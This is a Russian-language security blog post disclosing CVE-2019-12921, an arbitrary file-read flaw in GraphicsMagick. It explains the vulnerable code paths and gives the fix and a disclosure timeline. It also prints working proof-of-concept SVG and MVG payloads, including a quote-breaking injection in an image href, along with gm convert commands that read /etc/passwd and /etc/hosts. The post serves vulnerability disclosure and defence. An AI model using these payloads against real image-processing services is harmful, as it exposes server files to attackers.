Трагедия не приходит одна

в 10:38, , рубрики: exploit, graphicsmagick, vulnerability, Блог компании Wrike, информационная безопасность, обработка изображений
Трагедия не приходит одна - 1

В 2016 году уязвимость ImageTragick в библиотеке ImageMagick наделала много шума. Как способ снижения риска предлагалось использовать GraphicsMagick — форк библиотеки ImageMagick, нацеленный на более стабильный и производительный API. Оригинальная уязвимость CVE-2016-3717, обнаруженная stewie, позволяла злоумышленнику прочитать произвольный файл на файловой системе при помощи специально созданного изображения. Сегодня я рассмотрю аналогичную уязвимость в GraphicsMagick, обнаруженную мной в ходе анализа исходного кода библиотеки.

Оригинальный эксплоит через псевдопротокол 'label' с сайта ImageTragick не отработает.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context 

Трагедия не приходит одна - 2

Причина в алгоритме обработке изображений ImagePrimitive файла render.c ReadImage не может обработать строку label:@/etc/passwd как изображение и вернет ошибку Unable to open file. Код функции:

#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0)
          if (!VALID_PREFIX("http://", primitive_info->text) &&
              !VALID_PREFIX("https://", primitive_info->text) &&
              !VALID_PREFIX("ftp://", primitive_info->text)  &&
              !(IsAccessibleNoLogging(primitive_info->text))
              )
            {
              ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text);
              status=MagickFail;
            }

Тем не менее, возможность прочитать любое изображение на файловой системе остается, но может быть использована только для сбора внутренней информации. Пример эксплуатации данной "фичи" можно найти в отчетах BugBounty программ, например тут.
Это и сподвигло меня детально изучить реализацию кодека Label в GraphicsMagick. Для этого выполним преобразование:

$ gm convert label:@etc/passwd output.png

Библиотека возвращает первую строку файла /etc/passwd, что означает что псевдо-протокол остается уязвимым, но в большинстве случаев не пригоден для злоумышленника, так как возможность повлиять на командную строку отсутствует. Чтобы разобраться как можно проэксплуатировать данную “фичу” давайте разберемся в причинах. Псевдо-протокол label производит преобразование строки при помощи функции TranslateTextEx:

text=(char *) formatted_text;
  /*
    If text starts with '@' then try to replace it with the content of
    the file name which follows.
  */
  if ((*text == '@') && IsAccessible(text+1))
    {
      text=(char *) FileToBlob(text+1,&length,&image->exception);
      if (text == (char *) NULL)
        return((char *) NULL);
    }

Функция принимает входной параметр formatted_text и если строка начинается со специального символа '@', то дальнейшая строка воспринимается GM как полный путь до файла, из которого необходимо прочитать содержимое для трансформации. Давайте рассмотрим другие места, где используется данная функция, которые могут быть проэксплуатированы злоумышленником.

  1. /coders/msl.c множественное количество вхождений, но данный язык используется GM в качестве скриптового языка для команды conjure и не будет рассмотрен в рамках данной статьи Эксплуатация возможна, но потребует специфической логики работы приложения
  2. /magick/attribute.c обработка атрибутов изображения. Функция TranslateText вызывается для атрибутов comment и label, когда они передаются непосредственно пользователем, а не хранятся в самом изображении. Разработчик оставил нам небольшую подсказку:

        Translate format requests in attribute text when the blob is
        not open.
    
        This is really gross since it is assumed that the attribute is
        supplied by the user and the user intends for translation to
        occur.  However, 'comment' and 'label' attributes may also
        come from an image file and may contain arbitrary text.  As a
        crude-workaround, translations are only performed when the
        blob is not open.

    Но что произойдет, если обработка функцией SetImageAttribute изображения будет выполнена уже после тога как, blob закрыт. Оказывается такий кодек есть — SVG. Цепочка вызовов функции ReadSVGImage выглядит следующим образом:

    • XML Parser завершает работу
    • CloseBlob(image) закрывает blob
    • Делегат MVG выполняет преобразование
    • SetImageAttribute(image,"comment",svg_info.comment) атрибуты comment и title будут записаны в изображение.

Для успешной эксплуатации злоумышленнику необходимо, чтобы итоговый формат поддерживал данные атрибуты, например GIF, JPEG.

<?xml version="1.0" standalone="no"?>
<!--@/etc/passwd-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
<image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/>
</svg>

$ gm convert exploit.svg output.gif
$ gm convert exploit.svg output.jpeg

Трагедия не приходит одна - 3

  1. /magick/annotate.c следующий хороший вариант для эксплуатации функция AnnotateImage, которая используется:
    • /coders/txt.c аналогично с псевдо-протоколом Lablel протокол TXT: что не представляет особого интереса, так как для его эксплуатации потребуется доступ к командной строке.
    • /magick/render.c И здесь мы приходим к нашему финальному эксплоиту для примитива text Magick Vector Graphics, который имеет довольно простой синтаксис:

text "text"

Успешаня эксплуатации возможна, если строка будет начинаться со спецсимвола '@'.

$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png

Данный метод крайне редко встречается в реальном приложении, однако существует способ эксплуатации данной уязвимость при помощи делегатов. Делегат — внешний обработчик изображения, формат которых не поддерживается библиотекой. Существует ряд кодеков, которые преобразовываются во временный файл и дальнейшая обработка выполняется псевдо-протоколом MVG. Как было отмечено ранее, таким кодеком является SVG.

Эксплуатация CVE-2019-12921

XML Parser SVG изображения выполняет преобразование разметки в промежуточный файл:

FormatString(clone_info->filename,”mvg:%.1024s",filename);

Преобразование тэга img имеет следующий код:

 case 'i':
      {
        if (LocaleCompare((char *) name,"image") == 0)
          {
            MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'n",
                      svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width,
                      svg_info->bounds.height,svg_info->url);
            MVGPrintf(svg_info->file,"pop graphic-contextn");
            break;
          }
        break;
      }

Для эксплуатации нам необходимо разорвать контекст строки при помощи обычной кавычки и добавить наш эксплоит:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="720px" height="720px" version="1.1"
     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
     <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/>
</svg>

$ gm convert exploit.svg output.png

Итоговое изображение

Трагедия не приходит одна - 4

Эксплуатация для других кодеков использующих MVG делегат останется на усмотрение читателя.

Защита

Обновленая версия GM доступна на сайте производителя. Фикс удаляет поддержку файлов при помощи спецсимвола @ на данный момент, Mercurial changesets 16037:f780c290b4ab и 16038:44e3d0e872eb для функции TranslateTextEx. По словам разработчиков, в дальнейшем данная логика будет возвращена в более безопасной реализации. В качестве временного решения советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY

Timeline

Информация об уязвимости была передана разработчику 6 июня 2019 года, позже того же дня вышел хотфикс. 15 июня 2019 вышло информационное письмо на www.openwall.com. 20 июня 2019 номер CVE-2019-12921 был присвоен данной проблеме.

Автор: d4d

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js